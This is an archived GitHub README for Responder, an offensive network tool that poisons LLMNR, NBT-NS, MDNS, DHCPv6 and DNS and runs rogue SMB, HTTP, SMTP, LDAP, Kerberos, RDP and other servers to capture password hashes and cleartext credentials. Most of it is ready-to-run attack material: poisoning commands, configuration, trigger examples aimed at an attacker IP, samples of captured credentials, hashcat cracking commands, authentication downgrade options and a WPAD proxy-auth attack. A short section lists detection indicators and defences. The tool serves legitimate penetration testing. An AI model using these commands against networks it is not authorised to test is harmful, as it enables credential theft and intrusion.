GitHub - lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

By lgandx

Archived: 2026-04-05 21:12:05 UTC

Responder is a LLMNR, NBT-NS, and MDNS poisoner with built-in rogue authentication servers for HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS, and more. It supports NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP, and various authentication methods across 15+ protocols.

Table of Contents

Overview

Responder captures credentials by responding to LLMNR, NBT-NS, and MDNS name resolution requests. When a client attempts to resolve a non-existent hostname, Responder answers, directing the client to the attacker's machine where multiple rogue authentication servers capture credentials. DHCP, DHCPv6 rogue servers are also included and can be enabled separately.

Captured Data:

- **NetNTLMv1/v2 hashes** - Crackable with hashcat/john
- **Kerberos AS-REQ hashes** - Offline cracking (hashcat -m 7500)
- **Cleartext credentials** - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
- **Challenge-response** - CRAM-MD5, DIGEST-MD5

What's New

This version includes:

DHCPv6 & DNS Enhancements

- ✅ **DHCPv6 INFORMATION-REQUEST** - Full Windows 10/11 compatibility
- ✅ **Domain Filtering** - Target specific domains (DHCPv6 & DNS)
- ✅ **Router Advertisements** - Optional IPv6 network poisoning

Email Server Upgrades

- ✅ **SMTP STARTTLS** - Capture from modern email clients
- ✅ **IMAP STARTTLS** - Port 143 with TLS upgrade
- ✅ **IMAPS** - Native SSL on port 993
- ✅ **Enhanced POP3** - Better compatibility

Kerberos Improvements

- ✅ **Force AS-REQ** - Force kerberos authentication.
- ✅ **Attempt NTLM Fallback** - After grabbing kerberos auth, return KDC_ERR_ETYPE_NOSUPP

Protocol Enhancements

- ✅ **MSSQL** - SQL Server authentication capture
- ✅ **LDAP/LDAPS** - Directory service credentials
- ✅ **RDP** - Remote Desktop authentication
- ✅ **WinRM** - Windows Remote Management
- ✅ **DCERPC** - Windows RPC authentication

Installation

Requirements

- **Python 2.7 or Python 3.x**
- **Linux** (Ubuntu, Kali, Debian recommended)
- **Root privileges**

System Dependencies

```
sudo apt-get update
sudo apt-get install python3 python3-pip python3-netifaces
```

Install Responder

```
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
```

Verify Installation

```
sudo python3 Responder.py --help
```

Quick Start

Basic Poisoning

```
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
```

DHCPv6 Attack

```
# Edit Responder.conf first:
# [DHCPv6 Server]
# DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v
```

Force HTTP Basic Auth

```
sudo python3 Responder.py -I eth0 -b -v
```

Enable Proxy Auth + Rogue DHCP

```
# Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)
sudo python3 Responder.py -I eth0 -Pvd
```

Network Poisoning

LLMNR/NBT-NS/MDNS Poisoning

Purpose: Respond to name resolution failures

How it works:

1. Client broadcasts query for non-existent host
2. Responder answers: "I'm that host"
3. Client connects to attacker
4. Credentials captured

Configuration:

```
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
```

Usage:

```
sudo python3 Responder.py -I eth0 -v
```

DHCPv6 Server

Purpose: Force clients to use attacker's DNS via IPv6

Features:

- ✅ INFORMATION-REQUEST support (Windows 10/11)
- ✅ SOLICIT/REQUEST support
- ✅ Domain filtering (surgical targeting)
- ✅ Router Advertisement (optional)

How it works:

1. Windows sends DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Responder responds: DNS = attacker IPv6
3. Windows prioritizes IPv6 DNS
4. All DNS queries → attacker
5. DNS poisoning → credential capture

Configuration:

```
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
```

```
; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1
```

Usage:

```
sudo python3 Responder.py -I eth0 --dhcpv6 -v
```

Expected Output:

```
 [DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: user@corp.local:Password123
```

Rogue Servers

Responder includes 17+ rogue authentication servers:

File & Network Services

SMB Server (Ports 445, 139)

Purpose: Capture NetNTLM hashes from file shares

Features:

- ✅ SMBv1/SMBv2/SMBv3
- ✅ NetNTLMv1/v2 hash capture
- ✅ Extended Security NTLMSSP
- ✅ Session signing disabled (allows relay)

Triggers:

```
# UNC paths
\\attacker-ip\share
\\non-existent-server\files

# NET USE commands
```

```
net use \\attacker-ip\share

# Windows Explorer address bar
\\attacker-ip\
```

Captured Format:

```
 username::domain:challenge:response:blob
```

Cracking:

```
hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
```

Configuration:

```
[Responder Core]
SMB = On
```

FTP Server (Port 21)

Purpose: Capture cleartext FTP credentials

Features:

- ✅ Anonymous login honeypot
- ✅ USER/PASS authentication
- ✅ Cleartext credential capture

Triggers:

```
ftp attacker-ip
# Username: anything
# Password: anything
```

Captured Format:

```
 [FTP] Cleartext: username:password
```

Configuration:

```
[Responder Core]
FTP = On
```

Database Servers

MSSQL Server (Port 1433)

Purpose: Capture Microsoft SQL Server authentication

Features:

- ✅ SQL Server authentication
- ✅ Windows authentication (NTLM)
- ✅ Cleartext SQL credentials
- ✅ NetNTLMv2 hash capture

Triggers:

```
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
```

Captured Formats:

```
 [MSSQL] SQL Auth: sa:password123
[MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
```

Configuration:

```
[Responder Core]
SQL = On
```

Notes:

- Captures both SQL authentication and Windows authentication
- Works with SSMS, sqlcmd, ADO.NET connections
- Can capture domain credentials via Windows auth

Email Servers

SMTP Server (Port 25, 587)

Purpose: Capture email client authentication

Features:

- ✅ **STARTTLS support** (modern clients)
- ✅ AUTH PLAIN (cleartext)
- ✅ AUTH LOGIN (cleartext)
- ✅ AUTH CRAM-MD5
- ✅ AUTH DIGEST-MD5
- ✅ AUTH NTLM (NetNTLMv2)

STARTTLS Flow:

```
 Client → EHLO
Server → 250-STARTTLS
Client → STARTTLS
Server → 220 Ready to start TLS
[TLS handshake using self-signed cert]
Client → AUTH PLAIN <credentials>
Server → Captured! ✅
```

Triggers:

```
 Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
```

Captured Formats:

```
 [SMTP] LOGIN: user@company.com:Password123
[SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[SMTP] CRAM-MD5: user:challenge:response
```

Configuration:

```
[Responder Core]
SMTP = On
```

Certificate Warnings: Self-signed cert warnings are **normal**. Clients reject first attempt, retry, and succeed. Credentials still captured.

IMAP Server (Port 143)

Purpose: Capture IMAP authentication with STARTTLS

Features:

- ✅ **STARTTLS support**
- ✅ LOGIN command (cleartext)
- ✅ AUTHENTICATE PLAIN
- ✅ AUTHENTICATE LOGIN
- ✅ AUTHENTICATE NTLM

STARTTLS Flow:

```
 Client → CAPABILITY
Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS
Client → STARTTLS
Server → OK Begin TLS negotiation now
[TLS upgrade]
Client → LOGIN user password
Server → Captured! ✅
```

Configuration:

```
[Responder Core]
IMAP = On
```

IMAPS Server (Port 993)

Purpose: IMAP over SSL (native encryption)

Features:

- ✅ Native SSL from connection start
- ✅ All IMAP authentication methods
- ✅ No STARTTLS needed (already encrypted)

How it differs from IMAP:

```
Port 143 (IMAP): Plain → STARTTLS → Encrypted
```

```
Port 993 (IMAPS): Encrypted from start
```

Configuration:

```
[Responder Core]
IMAPS = On
```

POP3 Server (Port 110)

Purpose: Capture POP3 email retrieval credentials

Features:

- ✅ USER/PASS authentication
- ✅ APOP (MD5 challenge)
- ✅ Cleartext credential capture

Triggers:

```
 Email client:
- Protocol: POP3
- Server: attacker-ip
- Port: 110
```

Captured Format:

```
 [POP3] USER: username
[POP3] PASS: password
```

Configuration:

```
[Responder Core]
POP = On
```

Web Servers

HTTP Server (Port 80)

Purpose: Capture web authentication

Features:

- ✅ NTLM authentication (NetNTLMv1/v2)

- ✅ Basic authentication (cleartext)
- ✅ Digest authentication (MD5)
- ✅ WPAD injection

Triggers:

```
 Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
```

Force Basic Auth:

```
sudo python3 Responder.py -I eth0 -b
```

Captured Formats:

```
 [HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
```

Configuration:

```
[Responder Core]
HTTP = On
```

HTTPS Server (Port 443)

Purpose: HTTPS with authentication capture

Features:

- ✅ SSL/TLS encryption
- ✅ All HTTP authentication methods
- ✅ Self-signed certificate
- ✅ WPAD over HTTPS

Configuration:

```
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
```

Directory & Authentication

Kerberos Server (Port 88)

Purpose: Capture AS-REP hashes for offline cracking

Features:

- ✅ **AES256-CTS-HMAC-SHA1-96** (etype 18)
- ✅ **AES128-CTS-HMAC-SHA1-96** (etype 17)
- ✅ **ARCFOUR-HMAC-MD5** (etype 23)

How it works:

1. Client sends AS-REQ (TGT request)
2. Responder: "Pre-authentication required"
3. Client sends AS-REQ with encrypted timestamp
4. Responder captures encrypted timestamp
5. Crack offline with hashcat

Cracking:

```
hashcat -m 7500 kerberos-asreq.txt wordlist.txt
```

Configuration:

```
[Responder Core]
Kerberos = On
```

LDAP Server (Port 389)

Purpose: Capture LDAP directory authentication

Features:

- ✅ Simple authentication (cleartext)
- ✅ NTLM authentication
- ✅ Active Directory queries

Triggers:

```
# LDAP query
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
```

```
# Active Directory tools
dsquery user -d attacker-ip
```

Captured Formats:

```
 [LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
```

Configuration:

```
[Responder Core]
LDAP = On
```

LDAPS Server (Port 636)

Purpose: LDAP over SSL

Features:

- ✅ SSL/TLS encryption
- ✅ All LDAP authentication methods

Configuration:

```
[Responder Core]
LDAP = On
```

Remote Access

RDP Server (Port 3389)

Purpose: Capture Remote Desktop authentication

Features:

- ✅ Network Level Authentication (NLA)
- ✅ NetNTLMv2 hash capture
- ✅ CredSSP authentication

Triggers:

```
 Remote Desktop Client:
- Computer: attacker-ip
```

```
- Username: anything
- Password: anything
```

Captured Format:

```
 [RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
```

Configuration:

```
[Responder Core]
RDP = On
```

Note: Captures NLA authentication before desktop session.

WinRM Server (Ports 5985, 5986)

Purpose: Capture Windows Remote Management credentials

Features:

- ✅ HTTP (5985) and HTTPS (5986)
- ✅ Basic authentication
- ✅ NTLM authentication
- ✅ Kerberos authentication

Triggers:

```
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }

# WinRM command line
winrm invoke -remote:http://attacker-ip
```

Captured Formats:

```
 [WinRM] Basic: DOMAIN\user:password
[WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
```

Configuration:

```
[Responder Core]
```

```
WINRM = On
```

Infrastructure

DNS Server (Port 53 TCP/UDP)

Purpose: Rogue DNS with domain filtering

Features:

- ✅ **A/AAAA record poisoning**
- ✅ **MX record poisoning** (email redirection)
- ✅ **SOA records** (appear authoritative)
- ✅ **SRV records** (Kerberos, LDAP)
- ✅ **SVCB/HTTPS records** (modern browsers)
- ✅ **EDNS0 support**
- ✅ **Domain filtering**

Configuration:

```
[DHCPv6 Server]
; DNS uses same domain filter as DHCPv6
DHCPv6_Domain = corp.local
```

How it works:

```
 Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
```

Supported Record Types:

- **A** (IPv4) - Redirect to attacker
- **AAAA** (IPv6) - Redirect to attacker
- **MX** (Mail) - Email server poisoning
- **SRV** (Services) - Kerberos, LDAP, etc.
- **SOA** (Authority) - Appear as authoritative
- **TXT** (Text) - SPF records
- **SVCB/HTTPS** (Service Binding) - Modern browsers

Domain Filtering Example:

```
 DHCPv6_Domain = corp.local

mail.corp.local → POISONED ✅
dc01.corp.local → POISONED ✅
google.com → IGNORED (normal DNS)
```

Configuration:

```
[Responder Core]
DNS = On
```

DCERPC Server (Port 135)

Purpose: Capture Windows RPC authentication

Features:

- ✅ NTLM authentication
- ✅ Windows service enumeration
- ✅ NetNTLMv2 capture

Triggers:

```
 Windows services querying RPC endpoint mapper
WMI queries
Remote registry access
```

Captured Format:

```
 [DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
```

Configuration:

```
[Responder Core]
DCERPC = On
```

Configuration

Main Configuration File

Edit `Responder.conf` :

```
[Responder Core]
; === Network Services ===
SQL = On        # MSSQL (port 1433)
SMB = On        # SMB (ports 445, 139)
RDP = On        # Remote Desktop (port 3389)
Kerberos = On   # Kerberos (port 88)
FTP = On        # FTP (port 21)
POP = On        # POP3 (port 110)
SMTP = On       # SMTP with STARTTLS (port 25/587)
IMAP = On       # IMAP with STARTTLS (port 143)
IMAPS = On      # IMAPS with SSL (port 993)
HTTP = On       # HTTP (port 80)
HTTPS = On      # HTTPS (port 443)
DNS = On        # DNS (port 53)
LDAP = On       # LDAP/LDAPS (ports 389/636)
DCERPC = On     # Windows RPC (port 135)
WINRM = On      # Windows Remote Management (ports 5985/5986)

; === Poisoners ===
LLMNR = On      # Link-Local Multicast Name Resolution
NBTNS = On      # NetBIOS Name Service
MDNS = On       # Multicast DNS
DHCP = Off      # DHCP (IPv4) - use with caution
DHCPv6 = On     # DHCPv6 (IPv6) - use with more caution

; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db

; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

[HTTP Server]
HtmlFilename = files/AccessDenied.html

[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements (use with caution)
SendRA = Off
```

```
; IPv6 address to advertise
BindToIPv6 = fe80::1
```

Command-Line Options

Basic Usage

```
sudo python3 Responder.py [options]
```

Required Arguments

Option	Description
`-I eth0, --interface=eth0`	Network interface to use (use 'ALL' for all interfaces)

Poisoning Options

Option	Description
`-A, --analyze`	Analyze mode - See NBT-NS, MDNS, LLMNR requests without responding
`-w, --wpad`	Start WPAD rogue proxy server (default: Off)
`-F, --ForceWpadAuth`	Force NTLM/Basic authentication on wpad.dat retrieval (old networks)
`-P, --ProxyAuth`	Force NTLM/Basic authentication for proxy (highly effective)

DHCP/DHCPv6 Options

Option	Description
`-d, --DHCP`	Enable DHCP broadcast responses with WPAD injection (IPv4)
`-D, --DHCP-DNS`	Inject DNS server in DHCP response instead of WPAD
`--dhcpv6`	Enable DHCPv6 poisoning (responds to SOLICIT messages)

IP poisoning Options

Option	Description
`-e 10.0.0.22, --externalip=10.0.0.22`	Poison requests with another IPv4 address
`-6 ADDR, --externalip6=ADDR`	Poison requests with another IPv6 address
`-i 10.0.0.21, --ip=10.0.0.21`	Local IP to use (OSX only)

Authentication Options

Option	Description
`-b, --basic`	Return HTTP Basic authentication (default: NTLM)
`--lm`	Force LM hashing downgrade (Windows XP/2003)
`--disable-ess`	Force Extended Security NTLMSSP downgrade

Advanced Options

Option	Description
`-u HOST:PORT, --upstream-proxy=HOST:PORT`	Upstream HTTP proxy for rogue WPAD
`-t 1e, --ttl=1e`	Change Windows TTL for poisoned answers (hex: 30s=1e, or 'random')
`-N NAME, --AnswerName=NAME`	Canonical name for LLMNR answers (useful for Kerberos relay)
`-E, --ErrorCode`	Return STATUS_LOGON_FAILURE (enables WebDAV auth capture)

Output Options

Option	Description
`-v, --verbose`	Increase verbosity (recommended)
`-Q, --quiet`	Quiet mode - Disable poisoner output

Information

Option	Description
`--version`	Show program version and exit
`-h, --help`	Show help message and exit

Storage Locations

```
 Responder.db                  # SQLite database
logs/
```

```
├─── HTTP-NTLMv2-<IP>.txt       # HTTP NetNTLMv2 hashes
├─── SMB-NTLMv2-<IP>.txt        # SMB NetNTLMv2 hashes
├─── MSSQL-NTLMv2-<IP>.txt      # MSSQL NetNTLMv2 hashes
├─── Kerberos-AES-<IP>.txt      # Kerberos AS-REP hashes
├─── SMTP-Cleartext-<IP>.txt    # SMTP cleartext credentials
├─── IMAP-NTLMv2-<IP>.txt       # IMAP NetNTLMv2 hashes
├─── FTP-Cleartext-<IP>.txt     # FTP cleartext credentials
├─── LDAP-Cleartext-<IP>.txt    # LDAP cleartext credentials
├─── RDP-NTLMv2-<IP>.txt        # RDP NetNTLMv2 hashes
└─── WinRM-NTLMv2-<IP>.txt      # WinRM NetNTLMv2 hashes
```

Database Query

```
sqlite3 Responder.db

# Show tables
.tables

# Show all captured hashes
SELECT * FROM hashes;

# Export to CSV
.mode csv
.output hashes.csv
SELECT * FROM hashes;
.quit
```

OpSec Considerations

Detection Indicators:

- Unusual LLMNR/NBT-NS responses
- Rogue DHCP/DHCPv6 server
- Invalid Kerberos pre-auth requests
- Self-signed SSL certificates
- Multiple authentication failures
- Suspicious DNS responses

Defensive Measures:

- Disable MDNS/LLMNR/NBT-NS via GPO
- Enable DHCP snooping on the switch
- Enable IPv6 RA guard
- Enable DHCPv6 guard

- Monitor for rogue DHCPv6 servers

Troubleshooting

Common Issues

Permission Denied:

```
sudo python3 Responder.py -I eth0
```

Interface Not Found:

```
ip link show
sudo python3 Responder.py -I wlan0
```

Port Already in Use:

```
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
```

DHCPv6 Not Working:

```
# Enable IPv6
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0

# Verify
sysctl net.ipv6.conf.all.disable_ipv6
```

No Hashes Captured:

```
# Verify servers running
sudo python3 Responder.py -I eth0 -v

# Check firewall
sudo iptables -L

# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
```

Debug Mode

```
# Very verbose output
sudo python3 Responder.py -I eth0 -vv

# Tail logs
tail -f logs/Responder-Session.log

# Network monitoring
sudo tcpdump -i eth0 -w responder-capture.pcap
```

Credits

Author: Laurent Gaffié

- GitHub: https://github.com/lgandx
- Website: https://secorizon.com/
- Twitter: @secorizon

Donation

You can contribute to this project by donating to the following USDT or Bitcoin address:

USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A

BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

Paypal:

https://paypal.me/PythonResponder

Acknowledgments

Late Responder development has been possible because of the donations received from individuals and companies.

We would like to thanks those major sponsors:

SecureWorks: https://www.secureworks.com/

Synacktiv: https://www.synacktiv.com/

Black Hills Information Security: http://www.blackhillsinfosec.com/

TrustedSec: https://www.trustedsec.com/

Red Siege Information Security: https://www.redsiege.com/

Open-Sec: http://www.open-sec.com/

And all, ALL the pentesters around the world who donated to this project.

Thank you.
